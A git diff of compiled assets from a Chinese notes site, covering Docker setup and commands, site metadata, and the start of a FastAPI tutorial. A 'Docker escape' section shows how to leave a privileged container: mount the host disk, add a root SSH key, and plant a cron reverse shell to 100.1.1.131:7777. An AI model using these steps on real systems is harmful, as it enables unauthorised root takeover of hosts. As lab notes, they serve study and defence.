访问"),e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202211202356631.png",alt:"image-20221120235620604"})]),e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202211210007112.png",alt:"image-20221121000717073"})])],-1),E=t(`打开 /etc/docker/daemon.json
并输入
{
+ "registry-mirrors": [
+ "https://hub-mirror.c.163.com",
+ "https://ustc-edu-cn.mirror.aliyuncs.com"
+ ]
+}
+
+
然后重启 docker
service docker restart
+
拉取镜像
# docker pull [镜像名]
+# vuldocker/lamp映像包括(php+apache+MySQL),只需要下载dvwa源码即可
+docker pull vuldocker/lamp
+
docker pull
下来的镜像默认存在/var/lib/docker/
目录下
查看当前镜像列表
docker images
+
修改镜像 Tag
# docker tag [镜像ID] [镜像名称]:[tag版本信息]
+docker tag 8ef375298394 MySQL:v5.7
+
+# docker tag [原tag][新tag]
+docker tag MySQL:v5.7 http://100.1.1.111:8080/MySQL:v5.7
+
# 根据 镜像名称 来删除镜像
+docker rmi centos
+# 根据 镜像:标签名称 来删除镜像
+docker rmi centos:v2
+# 根据 镜像ID 来删除镜像,
+docker rmi 7e6257c9f8d8
+
docker run [OPTIONS] IMAGE [COMMAND] [ARG...]
+
-a stdin
: 指定标准输入输出内容类型,可选 STDIN/STDOUT/STDERR 三项;
-d
: 后台运行容器,并返回容器ID;
-i
: 以交互模式运行容器,通常与 -t 同时使用;
-P
: 随机端口映射,容器内部端口随机映射到主机的端口
-p
: 指定端口映射,格式为:主机(宿主)端口:容器端口
-t
: 为容器重新分配一个伪输入终端,通常与 -i 同时使用;
--name="nginx-lb"
: 为容器指定一个名称;
--dns 8.8.8.8
: 指定容器使用的DNS服务器,默认和宿主一致;
--dns-search example.com
: 指定容器DNS搜索域名,默认和宿主一致;
-h "mars"
: 指定容器的hostname;
-e username="ritchie"
: 设置环境变量;
--env-file=[]
: 从指定文件读入环境变量;
--cpuset="0-2" or --cpuset="0,1,2"
: 绑定容器到指定CPU运行;
-m
: 设置容器使用内存最大值;
--net="bridge"
: 指定容器的网络连接类型,支持 bridge/host/none/container: 四种类型;
--link=[]
: 添加链接到另一个容器;
--expose=[]
: 开放一个端口或一组端口;
--volume , -v
: 绑定一个卷
--restart=always
: 容器设置自动启动
no
: 不自动重启容器. (默认value)on-failure
: 容器发生 errorunless-stopped
: 在容器已经 stop 掉或 Docker stoped/restarted
的时候才重启容器always
: 在容器已经 stop 掉或 Docker stoped/restarted
的时候才重启容器如果创建时未指定 --restart=always
,可通过update 命令
docker update --restart=always [container-id]
+
docker run -it -d --name dvwa -p 8008:80 vuldocker/lamp
+
设置名字为dvwa,映射端口为8008
-i: 交互式操作。
-t: 终端(一般与i一起)
-d:后台运行。
从图中可以看到在执行
docker run -it -d --name dvwa -p 8008:80 vuldocker/lamp
+
指令时出现了问题,说已经有container使用了dvwa这个名字( The container name "/dvwa" is already in use by container "6e3fc590b41c9c6cf6c0d81de14730c127240edecb6a2a5e3debf1565eb3fe6b"
),但是从图中也可以看到docker ps指令执行后没有正在运行的container,可以执行
因为是在只有http sql apach服务的镜像上跑的容器,在容器里配置了dvwa(并没有改变镜像)
此时将原来的镜像推送还是只有http sql apach服务的镜像,没有自己在容器里的所有配置 需要将容器保存为镜像再去推送才行
在本地docker客户端--靶机进行如下配置:
touch /etc/docker/daemon.json
+vim /etc/docker/daemon.json
+
文件中如下配置
{
+ "insecure-registries": ["habor-hostip:端口"]
+}
+
sudo systemctl daemon-reload
+sudo systemctl restart docker
+# 登录 Habor (登录成功会提示 Login Succeeded)
+docker login [HaborHostip:端口]
+# 将本地的image新建1个新的tag
+docker tag SOURCE_IMAGE[:TAG] [HaborHostip]:[端口]/[目标路径][:TAG]
+# 推送镜像
+docker push [HaborHostip]:[端口]/[目标路径][:TAG]
+
后续可以通过 docker pull
命令拉取镜像
docker pull [HaborHostip]:[端口]/[目标路径][:TAG]
+
# 进入容器(使用 bash 或者 sh 均可)
+docker container exec -it [容器id] /bin/bash
+docker container exec -it [容器id] /bin/sh
+
+# 强制删除容器 docker rm -f [容器 id]
+# 删除所有容器
+docker rm -f $(docker ps -a -q)
+
+# 显示当前正在运行的容器
+docker ps
+
+# 查看容器日志
+docker logs [容器ID]
+
例:从容器中复制一个test.db
文件到本地data
目录。
# 假设存在一个镜像名为 kitty,标签为0.1,创建一个名为 koko的容器
+
+# 1. create a container first
+docker run -itd --name koko kitty:0.1 /bin/bash
+# 2. copy test.db from koko tmp directory to local data directory.
+docker cp koko:/tmp/test.db ./data/test.db
+# 3. rm container koko
+docker rm -f koko
+
docker cp
也可以从本地copy文件到容器中:
# 以上面的代码为例,把容器路径和本地路径颠倒即可.
+docker cp ./data/test.db koko:/tmp/test.db
+
在docker中,LAMP是指Linux(操作系统)、Apache HTTP服务器、MySQL(MariaDB等数据库软件)和PHP(Perl或Python)的组合方案,一般用来建立Web服务器环境。
`,12),j={href:"https://www.php.cn/docker/488591.html",target:"_blank",rel:"noopener noreferrer"},G=e("hr",null,null,-1),U=e("h3",{id:"将容器重新打包成镜像",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#将容器重新打包成镜像","aria-hidden":"true"},"#"),n(" 将容器重新打包成镜像")],-1),V={href:"https://blog.csdn.net/weixin_45505313/article/details/125020076",target:"_blank",rel:"noopener noreferrer"},Q=e("hr",null,null,-1),W=t(`在使用 docker-compose build
命令时, 在有些镜像 build 完启动后发现其环境是并不完整的, 缺少了一些东西
比如在复现 CVE-2015-3337 时需要安装一个
elasticsearch-head
的插件, 发现用 vulhub 仓库里的 dockerfile
docker-compose build
构建进行时插件实际上并没有安装成功, 但是镜像成功 build 了
进入启动的容器进行排错, 最终修复了问题后可以将目前用拥有完整环境的容器重新打包成镜像
Docker 提供了 commit
命令支持将容器重新打成镜像文件,其命令格式如下所示
docker commit [OPTIONS] CONTAINER [REPOSITORY[:TAG]]
+
Option | 功能 |
---|---|
-a | 指定新镜像作者 |
-c | 使用 Dockerfile 指令来创建镜像 |
-m | 提交生成镜像的说明信息 |
-p | 在 commit 时,将容器暂停 |
可以先查看下当前运行容器的 id
docker ps -a | grep [容器相关标识, 比如 cve-2015-3337 之类]
+
# 添加描述信息并将容器打包成新的镜像(给个新tag)
+docker commit -m "add elasticsearch-head" 10f2daf4ead5 cve-2015-3337_es:v0
+
看当前反弹 shell 的主机名称, 一堆数字字母的则可能是 docker 容器 id
查看根目录下有没有 .dockerenv
文件, 如果有的话则可能在 docker 环境中
ls -alh /.dockerenv
+
在判断当前反弹shell位置为docker后可以尝试查看下系统中的所有银盘分区表信息
fdisk -l
+
如果没有输出则不是特权模式启动的 Docker 容器
如果有输出则可以观察 Device 了
上图Type 为 Linux 的这条即为宿主机的系统分区
遇到过宿主是实体机固态装系统+一块机械时, 特权容器启动的 docker 能看到机械硬盘所在的分区, 系统分区显示的
/dev/nvme0n1p1
和/dev/nvme0n1p2
, 一个 PE 一个 LinuxVM 似乎(也许不是 LinuxVM, 不过一定不是LINUX, TODO: 记得确认下), 此时只能再用lvdisplay
找逻辑卷, 不过这条命令 Docker 容器中不一定有
看到系统分区后可以在容器中新建一个目录然后挂载该分区
mkdir /joker
+mount /dev/sda5 /joker
+
可以尝试写 root 账户的公钥
在本机新建一对密钥
ssh-keygen -t rsa -C "xxl-job"
+
-C(comment)
随便填, 有辨识度就行
在命令执行的交互中可以设置密钥存放的路径, 然后根据回显找到 .pub
公钥
然后直接用 echo >>
来续写即可
然后就可以 cat 看下了, 顺利的话已经写进去了
然后可以直接 ssh 连接到宿主机了
ssh -i id_rsa root@xxx
+
ubuntu 默认没有 MTA, 因此执行定时任务可能会报这样的错:
所以需要在定时任务中第一行写上 MAILTO=""
以禁用邮件输出
此外直接写 bash -i >& /dev/tcp/100.1.1.131/7777 0>&1
到定时任务中不一定行得通, 可以写个脚本, 然后定时任务调脚本执行, 比如:
test.sh
:
#!/bin/bash
+bash -i >& /dev/tcp/100.1.1.131/7777 0>&1
+
/var/spool/cron/crontabs/root
:
MAILTO=""
+* * * * * /bin/bash test.sh
+
docker network prune
+
sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com [报错缺失的public key]
+
apt-get update && apt-get install -y --no-install-recommends apt-utils
+
在使用 docker-compose build
时发现有些时候虽然 build 成功了但是实际上环境是不完整的, 比如在复现 CVE-2015-3337
时需要安装一个插件
发现 vulhub 该 cve 目录下 docker-compose build
拉取了一个空的插件安装包并且解压失败了, 但是却成功 build
了
观察上图中的输出信息可以看到在安装插件时向 http://download.elasticsearch.org/mobz/elasticsearch-head/elasticsearch-head-1.x.zip.
请求了 zip 资源, 尝试在本地电脑上访问此链接发现下载不下来, 那么可以假定是指向链接出了问题, 那么现在就需要找到一个可用的插件安装链接
在使用 docker-compose up -d
后进入该容器然后尝试为拉取插件配置一个不可用的代理
plugin -DproxyHost=192.168.1.33 -DproxyPort=7890 --install mobz/elasticsearch-head/1.x
+
此时会尝试从各个可能的地址拉取插件
在本地机器上尝试这些链接, 最终找到可用链接 https://codeload.github.com/mobz/elasticsearch-head/zip/refs/heads/1.x
于是可以使用该链接安装插件
bin/plugin --install mobz/elasticsearch-head/1.x -u https://codeload.github.com/mobz/elasticsearch-head/zip/refs/heads/1.x
+
验证插件是否安装成功:
可以看到已经成功安装上了
然后 将容器重新打包成镜像 以便后续使用
`,19);function te(oe,ce){const s=l("ExternalLinkIcon"),d=l("Tabs");return p(),u("div",null,[h,k,a(d,{id:"6",data:[{id:"Ubuntu"},{id:"Debian"},{id:"wsl2"}],active:0},{title0:o(({value:c,isActive:i})=>[n("Ubuntu")]),title1:o(({value:c,isActive:i})=>[n("Debian")]),title2:o(({value:c,isActive:i})=>[n("wsl2")]),tab0:o(({value:c,isActive:i})=>[e("blockquote",null,[e("p",null,[e("a",b,[n("ubuntu安装docker详细步骤 - 腾讯云开发者社区-腾讯云 (tencent.com)"),a(s)])]),e("p",null,[e("a",v,[n("Docker 入门指南:如何在 Ubuntu 上安装和使用 Docker - 卡拉云 (kalacloud.com)"),a(s)])]),g]),f]),tab1:o(({value:c,isActive:i})=>[e("blockquote",null,[e("p",null,[e("a",_,[n("在Kali Linux版本中安装Docker(Docker CE社区版)和Docker Compose_Linux教程_云网牛站 (ywnz.com)"),a(s)])]),x]),y]),tab2:o(({value:c,isActive:i})=>[e("blockquote",null,[e("p",null,[e("a",D,[n("docker wsl2启动不了_win10利用WSL2安装docker的2种方式_weixin_39786155的博客-CSDN博客"),a(s)])])]),q,w]),_:1}),E,e("blockquote",null,[e("p",null,[e("a",A,[n("关于docker容器和镜像的区别 - jason.bai - 博客园 (cnblogs.com)"),a(s)])])]),N,e("blockquote",null,[e("p",null,[e("a",S,[n("Docker - 两个id相同的镜像怎么删除_Joker_Wangx的博客-CSDN博客_docker 镜像重复"),a(s)])])]),T,L,C,e("blockquote",null,[e("p",null,[e("a",I,[n("docker容器导出,并将导出镜像在另外一台设备上运行起来_hx_long的博客-CSDN博客_docker 容器导出"),a(s)])])]),z,H,e("blockquote",null,[e("p",null,[e("a",P,[n("Docker run 命令 | 菜鸟教程 (runoob.com)"),a(s)])]),B]),O,e("blockquote",null,[e("p",null,[e("a",M,[n("容器Docker进入的四种方法 - 指尖上的代码go - 博客园 (cnblogs.com)"),a(s)])])]),R,e("blockquote",null,[e("p",null,[e("a",j,[n("docker中的lamp是什么-Docker-PHP中文网"),a(s)])])]),G,U,e("blockquote",null,[e("p",null,[e("a",V,[n("Docker 使用-将容器打成镜像_谈谈1974的博客-CSDN博客_容器打包成镜像"),a(s)])]),Q]),W,e("blockquote",null,[e("p",null,[n("["),e("a",F,[n("openvpn] ERROR: could not find an available, non-overlapping IPv4 address pool among the defaults to assign to the network · Issue #418 · docker/for-linux (github.com)"),a(s)])])]),K,e("blockquote",null,[e("p",null,[e("a",J,[n("Docker failed to fetch http://deb.debian.org/debian/dists/jessie/InRelease - Stack Overflow"),a(s)])])]),X,Y,Z,$,e("blockquote",null,[e("p",null,[e("a",ee,[n("使用apt-get时出现 “no public key available” 的解决方法-阿里云开发者社区 (aliyun.com)"),a(s)])])]),ne,e("blockquote",null,[e("p",null,[n("["),e("a",ae,[n("16.04] debconf: delaying package configuration, since apt-utils is not installed · Issue #319 · phusion/baseimage-docker (github.com)"),a(s)])])]),se])}const de=r(m,[["render",te],["__file","Docker.html.vue"]]);export{de as default}; diff --git a/assets/Docker.html-730b46b7.js b/assets/Docker.html-730b46b7.js new file mode 100644 index 0000000000..3557dab2e4 --- /dev/null +++ b/assets/Docker.html-730b46b7.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-6c4048f8","path":"/%E9%80%9A%E8%AF%86/Docker/Docker.html","title":"Docker","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":2,"title":"换源","slug":"换源","link":"#换源","children":[{"level":3,"title":"Docker-hub 换源","slug":"docker-hub-换源","link":"#docker-hub-换源","children":[]}]},{"level":2,"title":"镜像","slug":"镜像","link":"#镜像","children":[{"level":3,"title":"常用指令","slug":"常用指令","link":"#常用指令","children":[]},{"level":3,"title":"删除镜像","slug":"删除镜像","link":"#删除镜像","children":[]},{"level":3,"title":"镜像导出与导入","slug":"镜像导出与导入","link":"#镜像导出与导入","children":[]},{"level":3,"title":"将镜像跑为容器","slug":"将镜像跑为容器","link":"#将镜像跑为容器","children":[]},{"level":3,"title":"推送到 Habor","slug":"推送到-habor","link":"#推送到-habor","children":[]}]},{"level":2,"title":"容器","slug":"容器","link":"#容器","children":[{"level":3,"title":"常用指令","slug":"常用指令-1","link":"#常用指令-1","children":[]},{"level":3,"title":"从容器中复制文件到本地(docker cp)","slug":"从容器中复制文件到本地-docker-cp","link":"#从容器中复制文件到本地-docker-cp","children":[]},{"level":3,"title":"将容器重新打包成镜像","slug":"将容器重新打包成镜像","link":"#将容器重新打包成镜像","children":[]}]},{"level":2,"title":"安全相关","slug":"安全相关","link":"#安全相关","children":[{"level":3,"title":"Docker逃逸","slug":"docker逃逸","link":"#docker逃逸","children":[]}]},{"level":2,"title":"常见问题","slug":"常见问题","link":"#常见问题","children":[{"level":3,"title":"ERROR: could not find an available, non-overlapping IPv4 address pool among the defaults to assign to the network","slug":"error-could-not-find-an-available-non-overlapping-ipv4-address-pool-among-the-defaults-to-assign-to-the-network","link":"#error-could-not-find-an-available-non-overlapping-ipv4-address-pool-among-the-defaults-to-assign-to-the-network","children":[]},{"level":3,"title":"unable to connect to deb.debian.org:http","slug":"unable-to-connect-to-deb-debian-org-http","link":"#unable-to-connect-to-deb-debian-org-http","children":[]},{"level":3,"title":"There is no public key","slug":"there-is-no-public-key","link":"#there-is-no-public-key","children":[]},{"level":3,"title":"debconf: delaying package configuration, since apt-utils is not installed","slug":"debconf-delaying-package-configuration-since-apt-utils-is-not-installed","link":"#debconf-delaying-package-configuration-since-apt-utils-is-not-installed","children":[]},{"level":3,"title":"安装插件失败 - failed to extract plugin [/usr/share/elasticsearch/plugins/head.zip]: ZipException[zip file is empty]","slug":"安装插件失败-failed-to-extract-plugin-usr-share-elasticsearch-plugins-head-zip-zipexception-zip-file-is-empty","link":"#安装插件失败-failed-to-extract-plugin-usr-share-elasticsearch-plugins-head-zip-zipexception-zip-file-is-empty","children":[]}]}],"git":{"createdTime":1667960979000,"updatedTime":1687746652000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":5},{"name":"233Official","email":"ayusummer233@qq.com","commits":3},{"name":"233Official","email":"ayusummr233@gmail.com","commits":1}]},"readingTime":{"minutes":10.99,"words":3297},"filePathRelative":"通识/Docker/Docker.md","localizedDate":"2022年11月9日","excerpt":""}');export{e as data}; diff --git a/assets/FastAPI.html-9f135828.js b/assets/FastAPI.html-9f135828.js new file mode 100644 index 0000000000..34d14bcb99 --- /dev/null +++ b/assets/FastAPI.html-9f135828.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-f910ba1c","path":"/%E5%90%8E%E7%AB%AF/FastAPI/FastAPI.html","title":"FastAPI","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"前言","slug":"前言","link":"#前言","children":[]},{"level":2,"title":"起步","slug":"起步","link":"#起步","children":[{"level":3,"title":"导入 FastAPI","slug":"导入-fastapi","link":"#导入-fastapi","children":[]},{"level":3,"title":"创建一个 FastAPI 实例","slug":"创建一个-fastapi-实例","link":"#创建一个-fastapi-实例","children":[]},{"level":3,"title":"创建一个路径操作","slug":"创建一个路径操作","link":"#创建一个路径操作","children":[]},{"level":3,"title":"定义路径操作函数","slug":"定义路径操作函数","link":"#定义路径操作函数","children":[]},{"level":3,"title":"返回内容","slug":"返回内容","link":"#返回内容","children":[]}]},{"level":2,"title":"请求模型","slug":"请求模型","link":"#请求模型","children":[{"level":3,"title":"路径参数和数据的解析验证","slug":"路径参数和数据的解析验证","link":"#路径参数和数据的解析验证","children":[]},{"level":3,"title":"查询参数和数据的解析, 验证","slug":"查询参数和数据的解析-验证","link":"#查询参数和数据的解析-验证","children":[]},{"level":3,"title":"请求体及混合参数","slug":"请求体及混合参数","link":"#请求体及混合参数","children":[]},{"level":3,"title":"数据格式嵌套的请求体","slug":"数据格式嵌套的请求体","link":"#数据格式嵌套的请求体","children":[]},{"level":3,"title":"配置 Cookie 和 Header 参数","slug":"配置-cookie-和-header-参数","link":"#配置-cookie-和-header-参数","children":[]}]},{"level":2,"title":"响应模型","slug":"响应模型","link":"#响应模型","children":[{"level":3,"title":"response_model","slug":"response-model","link":"#response-model","children":[]},{"level":3,"title":"响应状态码","slug":"响应状态码","link":"#响应状态码","children":[]},{"level":3,"title":"表单数据处理","slug":"表单数据处理","link":"#表单数据处理","children":[]},{"level":3,"title":"文件上传及参数详解","slug":"文件上传及参数详解","link":"#文件上传及参数详解","children":[]},{"level":3,"title":"静态文件的配置","slug":"静态文件的配置","link":"#静态文件的配置","children":[]},{"level":3,"title":"路径操作配置","slug":"路径操作配置","link":"#路径操作配置","children":[]},{"level":3,"title":"FastAPI 配置项","slug":"fastapi-配置项","link":"#fastapi-配置项","children":[]},{"level":3,"title":"错误处理","slug":"错误处理","link":"#错误处理","children":[]}]},{"level":2,"title":"依赖注入","slug":"依赖注入","link":"#依赖注入","children":[{"level":3,"title":"创建, 导入和声明依赖","slug":"创建-导入和声明依赖","link":"#创建-导入和声明依赖","children":[]},{"level":3,"title":"类作为依赖项","slug":"类作为依赖项","link":"#类作为依赖项","children":[]},{"level":3,"title":"子依赖的创建和调用","slug":"子依赖的创建和调用","link":"#子依赖的创建和调用","children":[]},{"level":3,"title":"路径操作装饰器中导入依赖","slug":"路径操作装饰器中导入依赖","link":"#路径操作装饰器中导入依赖","children":[]},{"level":3,"title":"FastAPI 框架中全局依赖的使用","slug":"fastapi-框架中全局依赖的使用","link":"#fastapi-框架中全局依赖的使用","children":[]},{"level":3,"title":"使用 yield 的依赖和子依赖","slug":"使用-yield-的依赖和子依赖","link":"#使用-yield-的依赖和子依赖","children":[]}]},{"level":2,"title":"JSON Compatible Encoder","slug":"json-compatible-encoder","link":"#json-compatible-encoder","children":[{"level":3,"title":"使用 jsonable_encoder","slug":"使用-jsonable-encoder","link":"#使用-jsonable-encoder","children":[]}]},{"level":2,"title":"OAuth2.0 的授权模式","slug":"oauth2-0-的授权模式","link":"#oauth2-0-的授权模式","children":[{"level":3,"title":"密码授权模式(Resource Owner Password Credentials Grant)","slug":"密码授权模式-resource-owner-password-credentials-grant","link":"#密码授权模式-resource-owner-password-credentials-grant","children":[]},{"level":3,"title":"OAuth2 密码模式和 FastAPI 的 OAuth2PasswordBearer","slug":"oauth2-密码模式和-fastapi-的-oauth2passwordbearer","link":"#oauth2-密码模式和-fastapi-的-oauth2passwordbearer","children":[]},{"level":3,"title":"基于 Password 和 Bearer token 的 OAuth2 认证","slug":"基于-password-和-bearer-token-的-oauth2-认证","link":"#基于-password-和-bearer-token-的-oauth2-认证","children":[]},{"level":3,"title":"开发基于 JSON Web Tokens 的认证","slug":"开发基于-json-web-tokens-的认证","link":"#开发基于-json-web-tokens-的认证","children":[]}]},{"level":2,"title":"SQL(Relational) Databases","slug":"sql-relational-databases","link":"#sql-relational-databases","children":[{"level":3,"title":"创建 SQLAlchemy","slug":"创建-sqlalchemy","link":"#创建-sqlalchemy","children":[]},{"level":3,"title":"创建 database models","slug":"创建-database-models","link":"#创建-database-models","children":[]},{"level":3,"title":"创建 Pydantic model","slug":"创建-pydantic-model","link":"#创建-pydantic-model","children":[]},{"level":3,"title":"CRUD utils","slug":"crud-utils","link":"#crud-utils","children":[]},{"level":3,"title":"Main FastAPI app","slug":"main-fastapi-app","link":"#main-fastapi-app","children":[]},{"level":3,"title":"Prisma","slug":"prisma","link":"#prisma","children":[]}]},{"level":2,"title":"数据库操作(慕课网)","slug":"数据库操作-慕课网","link":"#数据库操作-慕课网","children":[{"level":3,"title":"配置 SQLAlchemy ORM","slug":"配置-sqlalchemy-orm","link":"#配置-sqlalchemy-orm","children":[]},{"level":3,"title":"DataBase Models","slug":"database-models","link":"#database-models","children":[]}]},{"level":2,"title":"大型工程的目录结构设计","slug":"大型工程的目录结构设计","link":"#大型工程的目录结构设计","children":[]},{"level":2,"title":"中间件","slug":"中间件","link":"#中间件","children":[]},{"level":2,"title":"跨域资源共享","slug":"跨域资源共享","link":"#跨域资源共享","children":[{"level":3,"title":"源","slug":"源","link":"#源","children":[]},{"level":3,"title":"步骤","slug":"步骤","link":"#步骤","children":[]},{"level":3,"title":"通配符","slug":"通配符","link":"#通配符","children":[]},{"level":3,"title":"使用 CORSMiddleWare","slug":"使用-corsmiddleware","link":"#使用-corsmiddleware","children":[]}]},{"level":2,"title":"后台任务","slug":"后台任务","link":"#后台任务","children":[{"level":3,"title":"与依赖注入一起使用","slug":"与依赖注入一起使用","link":"#与依赖注入一起使用","children":[]}]},{"level":2,"title":"高级用户指南","slug":"高级用户指南","link":"#高级用户指南","children":[{"level":3,"title":"启动和停止事件","slug":"启动和停止事件","link":"#启动和停止事件","children":[]}]},{"level":2,"title":"测试用例","slug":"测试用例","link":"#测试用例","children":[]},{"level":2,"title":"运行","slug":"运行","link":"#运行","children":[{"level":3,"title":"放在主程序中运行","slug":"放在主程序中运行","link":"#放在主程序中运行","children":[]}]},{"level":2,"title":"Pydantic","slug":"pydantic","link":"#pydantic","children":[{"level":3,"title":"数据类型","slug":"数据类型","link":"#数据类型","children":[]}]},{"level":2,"title":"报错收集","slug":"报错收集","link":"#报错收集","children":[{"level":3,"title":"文档站点加载不出来","slug":"文档站点加载不出来","link":"#文档站点加载不出来","children":[]}]}],"git":{"createdTime":1667837365000,"updatedTime":1675222387000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":8},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":4}]},"readingTime":{"minutes":47.04,"words":14113},"filePathRelative":"后端/FastAPI/FastAPI.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data}; diff --git a/assets/FastAPI.html-b6dce7ab.js b/assets/FastAPI.html-b6dce7ab.js new file mode 100644 index 0000000000..36c2d54f18 --- /dev/null +++ b/assets/FastAPI.html-b6dce7ab.js @@ -0,0 +1,1344 @@ +import{_ as r}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o as d,c as k,b as n,e as s,d as a,w as p,f as e}from"./app-893ba623.js";const m={},v=e('随笔有一部分内容基于慕课网 21 年发的一份 FastAPI
基础教程
基本示例:
# main.py
+
+# 导入 FastAPI
+from fastapi import FastAPI
+# 创建一个 FastAPI 实例
+app = FastAPI()
+
+@app.get("/")
+async def root():
+ return {"message": "Hello World"}
+
uvicorn main:app --reload
+
main
: main.py
文件(一个 Python「模块」)app
: 在 main.py
文件中通过 app = FastAPI()
创建的对象。--reload
: 让服务器在更新代码后重新启动。仅在开发时使用该选项。http://127.0.0.1:8000
http://127.0.0.1:8000/docs
http://127.0.0.1:8000/redoc#operation/read_item_items__item_id__get
from fastapi import FastAPI
+
FastAPI
是一个为你的 API 提供了所有功能的 Python 类。
可以通过 FastAPI
使用所有的 Starlette
的功能。
app = FastAPI()
+
这里的变量 app 会是 FastAPI 类的一个「实例」
这个实例将是创建你所有 API 的主要交互对象。
这个 app 同样在如下命令中被 uvicorn 所引用:
uvicorn main:app --reload
+
这里的「操作」指的是一种 HTTP「方法」。
下列之一:
POST
GET
PUT
DELETE
以及更少见的几种:
OPTIONS
HEAD
PATCH
TRACE
在 HTTP 协议中,你可以使用以上的其中一种(或多种)「方法」与每个路径进行通信。
在开发 API 时,通常使用特定的 HTTP 方法去执行特定的行为。
通常使用:
POST
: 创建数据。GET
: 读取数据。PUT
: 更新数据。DELETE
: 删除数据。因此,在 OpenAPI 中,每一个 HTTP 方法都被称为「操作」。
我们也打算称呼它们为「操作」。
@app.get("/")
+
@app.get("/")
告诉 FastAPI 在它下方的函数负责处理如下访问请求:
/
@something
语法在 Python 中被称为「装饰器」。
装饰器接收位于其下方的函数并且用它完成一些工作。
在我们的例子中,这个装饰器告诉 FastAPI 位于其下方的函数对应着路径 / 加上 get 操作。
它是一个「路径操作装饰器」。
这是我们的「路径操作函数」:
路径:是 /。
操作:是 get。
函数:是位于「装饰器」下方的函数(位于 @app.get("/") 下方)。
from fastapi import FastAPI
+
+app = FastAPI()
+
+@app.get("/")
+async def root():
+ return {"message": "Hello World"}
+
每当 FastAPI 接收一个使用 GET 方法访问 URL「/」的请求时这个函数会被调用。
return {"message": "Hello World"}
+
你可以返回一个 dict、list,像 str、int 一样的单个值,等等。
你还可以返回 Pydantic 模型(稍后你将了解更多)。
还有许多其他将会自动转换为 JSON 的对象和模型(包括 ORM 对象等)。尝试下使用你最喜欢的一种,它很有可能已经被支持。
可以使用枚举类型来指定参数范围
# 导入枚举类型
+from enum import Enum
+
+class CityName(str, Enum):
+ Beijing = 'Beijing'
+ Xian = 'Xian'
+
需要注意的是定义整型枚举类型是在 FastAPI 中不可以用 (int, Enum)
或者仅仅是使用 Enum, 应当先从 enum 导入 IntEnum, 然后使用 IntEnum 来定义整型枚举类型
# 引入枚举类
+from enum import Enum, IntEnum
+
+# 定义部门 id 枚举类型
+class DidEnum(IntEnum):
+ LinChuang=1
+ NeiKe=2
+ WaiKe=3
+ Fuke=4
+ ErKe=5
+
+
+@router.get("/getStaffByDid/{did}", tags=["获取某个部门的员工"])
+async def readStaffByDid(did: DidEnum):
+ return {"username": "Rick"+str(type(did)) + "value:" + str(did)}
+
from typing import Optional
+
+@router.get("/query")
+def page_limit(page: int=1, limit: Optional[int] = None):
+ if limit:
+ return {"page": page, "limit": limit}
+ return {"page": page}
+
从 typing 引入 Optional 然后在参数中使用即可
# bool 参数
+@router.get("/query/bool/conversion")
+async def type_conversion(param: bool=False):
+ return {"param": param}
+
若非 bool 类型传参则会报 422 Unprocessable Entity
from typing import (
+ Optional, # 用于指定可选参数
+ List, # 列表
+)
+
+from fastapi import(
+ APIRouter,
+ Depends,
+ HTTPException,
+ Path, # 用于校验路径
+ Query, # 用于校验查询参数
+ )
+
+# 多个查询参数列表, 正则, 参数别名
+@router.get("/query/validations")
+async def query_params_validate(
+ # value: 字符串: 最小长度 8, 最大长度 16, 必须以 a 开头
+ value: str = Query(..., min_length=8, max_length=16, regex="^a"),
+ values: List[str] = Query(default=["v1", "v2"], alias="alias_name")
+ ):
+ return value, values
+
需要注意的是: 当时用参数别名时, 查询时 query 参数应当使用别名
from pydantic import (
+ BaseModel, # 基本模型类, 用于构建数据模型
+ Field, # 字段类, 用于构建数据模型
+)
+
+########## 请求体和混合参数 ##########
+
+class CityInfo(BaseModel):
+ name: str = Field(..., example='Beijing') # example 是注解作用, 值不会被验证
+ country: str = Field(..., example='China')
+ contry_code: str = Field(..., example='CN')
+ contry_population: int = Field(default=800, title="人口数量",
+ description="国家的人口数量", ge=800)
+ class Config:
+ schema_extra = {
+ "example": {
+ "name": "Beijing",
+ "country": "China",
+ "contry_code": "CN",
+ "contry_population": 1400000000
+ }
+ }
+
+@router.post("/request_body/city", tags=["city"])
+async def city_info(city: CityInfo):
+ print(city.name, city.country)
+ return city.dict()
+
成功响应:
country_population
不在允许范围内:
需要注意的是, 这里的请求体就不是 query 了而是 body(application/json)
# 多参数混合
+@router.put("/request_body/city/{name}")
+async def mix_city_info(
+ name: str,
+ city01: CityInfo,
+ city02: CityInfo,
+ confirmed: int = Query(ge=0, description="确诊数", default=0),
+ death: int = Query(ge=0, description="死亡数", default=0)
+ ):
+ if name == "Shanghai":
+ return {
+ "Shanghai":
+ {
+ "confirmed": confirmed,
+ "death": death
+ }
+ }
+ return city01.dict(), city02.dict()
+
直接在参数中添加不同类型参数即可
query 包括 name, confirmed, death
body 包括两个 CityInfo: city01, city02
在使用 Pydantic 定义请求体数据的时候, 校验使用 pydantic.Field
校验路径使用 fastapi.Path
校验查询参数用 fastapi.Query
# 引入日期类
+from datetime import date
+
+# ########## 数据格式嵌套的请求体 ##########
+
+class Data(BaseModel):
+ city: List[CityInfo] = None # 定义数据格式嵌套的请求体
+ date: date
+ # 使用 Field 进行数据校验
+ confirmed: int = Field(default=0, ge=0, description="确诊数")
+ death: int = Field(default=0, ge=0, description="死亡数")
+ recovered: int = Field(default=0, ge=0, description="治愈数")
+
+@router.put("/request_body/nested")
+async def nested_models(data: Data):
+ return data
+
+
+
from fastapi import Cookie
+
+@router.get("/cookie")
+async def cookie(cookie_id: Optional[str] = Cookie(None)):
+ return {"cookie_id": cookie_id}
+
调试需要在 apipost 中调下, 在 Header 中设置 Cookie
from fastapi import Header
+
+# 校验 Header
+@router.get("/header")
+async def header(user_agent: Optional[str] = Header(
+ None,
+ convert_underscores=True # 将下划线转换为 -
+ ),
+ # 不加下划线转化的话就变成了普通的query列表参数了
+ x_token: List[str] = Header(None)
+ ):
